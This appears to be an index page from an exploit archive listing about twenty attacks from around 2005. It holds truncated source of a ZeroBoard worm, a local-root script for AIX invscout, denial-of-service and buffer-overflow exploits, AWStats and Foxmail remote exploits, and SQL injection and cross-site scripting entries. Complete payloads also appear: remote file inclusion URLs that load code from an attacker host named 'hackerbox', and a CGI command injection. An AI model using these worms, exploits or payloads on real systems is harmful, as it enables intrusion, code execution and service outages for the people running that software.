ZeroBoard - Worm Source Code

/ The worm exploits a vulnerability in ZeroBoard, allowing an attacker to inject arbitrary PHP code. /str0ke / / ZeroBoard -1day INE w0rm / include include include include include include include include include ifdef sun include endif / SunOS / define DEBUGING undef DEBUGING define TMPFILE...

ZeroBoard Worm Source Code

No description provided by source. / The worm exploits a vulnerability in ZeroBoard, allowing an attacker to inject arbitrary PHP code. /str0ke / / ZeroBoard -1day INE w0rm / include stdio.h include unistd.h include stdlib.h include sys/socket.h include netdb.h include netinet/in.h include signal...

ASPNuke 0.80 - 'Comments.asp' SQL Injection

source: https://www.securityfocus.com/bid/13315/info ASPNuke is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. Successful exploitation could result in a compromise of the...

RadScripts RadBids Gold 2.0 - 'faq.php?farea' Cross-Site Scripting

source: https://www.securityfocus.com/bid/13080/info RadBids Gold is reported prone to multiple vulnerabilities. These issues include arbitrary file disclosure, cross-site scripting, and SQL injection. The following specific vulnerabilities were identified: A remote attacker can disclose arbitrar...

PhotoPost Pro 5.1 - 'Slideshow.php?photo' Cross-Site Scripting

source: https://www.securityfocus.com/bid/12920/info Multiple input validation vulnerabilities reportedly affect PhotoPost Pro. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions. The first set of issues ar...

AIX 5.3.0 - 'invscout' Local Command Execution

!/usr/bin/sh r00t exploit written for the invscout bug reported by Idefense labs http://www.idefense.com/application/poi/display?id=171&type=vulnerabilities coded by ri0t exploitation is trivial but automated with this script www.ri0tnet.net usage ./getr00t.sh : exploitation gives euidroot from...

PHPMyDirectory 10.1.3 - 'review.php' Multiple Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/12900/info phpMyDirectory is prone to a cross-site scripting vulnerability. The problem presents itself when malicious HTML and script code is sent to the application through various parameters of the 'review.php' script. This issue may allow for theft of...

MCPWS Personal WebServer <= 1.3.21 Denial of Service Exploit

Exploit for unknown platform in category dos / poc ============================================================ MCPWS Personal WebServer \n"; exit1; system "clear"; $server = $ARGV0; system "clear"; print "- MCPWS Personal-Web Server new Proto = "tcp", PeerAddr = "$server", PeerPort = "80"; unles...

PostScript Utilities - psnup Local Buffer Overflow

PostScript Utilities - psnup Local Buffer Overflow !/usr/bin/perl PostScript Utilities - psnup all the utilities of the package are vulnerable written by lammat just for practice purposes tested against psutils-p17 gdb r -8 perl -e 'print "A"x250' The program being debugged has been started...

knowledgeBuilder.txt

Remote File Inclusion KnowledgeBase Vendor: www.activecampaign.com/kb/ Well, inside the index.php file we can see: if $page == "" $page = "startup"; @include"$page.php"; ? After I tested some sites with kb I got file inclusion: http://www.site.com/kb/index.php?page=http://file DominusVis Infektio...

Download Center Lite (DCL) 1.5 - Remote File Inclusion

Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/inc/downloadcenterlite.inc.php?scriptroot=http://hackerbox/ milw0rm.com 2005-03-10...

The Includer CGI 1.0 - Remote Command Execution (1)

Remote Command Execution on: Example I.: www.host-vulnerable.com/includer.cgi?|id| Example II.: www.host-vulnerable.com/includer.cgi?template=|id| milw0rm.com 2005-03-07...

PHP Form Mail 2.3 - Arbitrary File Inclusion

Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/inc/formmail.inc.php?scriptroot=http://hackerbox/ milw0rm.com 2005-03-05...

calicserv_getconfig.pm

This file is part of the Metasploit Framework and may be redistributed according to the licenses defined in the Authors field below. In the case of an unknown or missing license, this file defaults to the same license as the core Framework dual GPLv2 and Artistic. The latest version of the...

AWStats 5.7 - 6.2 Multiple Remote Exploit (extra)

No description provided by source. / Awstats exploit "shell" code by omin0us omin0us208 at gmail dot com dtors security group .: http://dtors.ath.cx :. Vulnerability reported by iDEFENSE pluginmode bug has been found by GHC team. The awstats exploit that was discovered allows a user to execute...

Foxmail 1.1.0.1 POP3 Temp Dir Stack Overflow Exploit

Exploit for unknown platform in category remote exploits ==================================================== Foxmail 1.1.0.1 POP3 Temp Dir Stack Overflow Exploit ==================================================== include include include include pragma comment lib,"ws232" define PORTOFFSET 118...

RealPlayer Multiple Remote Overflows (2005-03-01)

According to its build number, the installed version of RealPlayer / RealOne Player / RealPlayer Enterprise for Windows might allow an attacker to execute arbitrary code and delete arbitrary files on the remote host. To exploit these flaws, an attacker would send a malformed SMIL or WAV file to a...

AWStats 5.7 6.2 - Multiple Remote

AWStats 5.7 6.2 - Multiple Remote / AWStats v5.7 - v6.2 sileAWSxpl This exploit utilize three methods for exploiter the vulnerability found on AWStats software. an user can execute remote code on vulnerable machine, with httpd privileges. References: www.securityfocus.org/bid/12543 coded by:...

SHOUTcast 1.9.4 (Windows) - File Request Format String Remote Overflow

SHOUTcast 1.9.4 Windows - File Request Format String Remote Overflow / Object: PoC for Nullsoft SHOUTcast 1.9.4 File Request Format String Vulnerability From the securityfocus bid at https://www.securityfocus.com/bid/12096 : "This issue was reported to exist in version 1.9.4 on Linux. It is likel...

DCP-Portal 6.1.1 - Multiple SQL Injections

source: https://www.securityfocus.com/bid/12573/info DCP-Portal is reportedly affected by multiple SQL injection vulnerabilities. These issues exist because the application fails to properly sanitize user-supplied input before using it in SQL queries. Successful exploitation could result in a...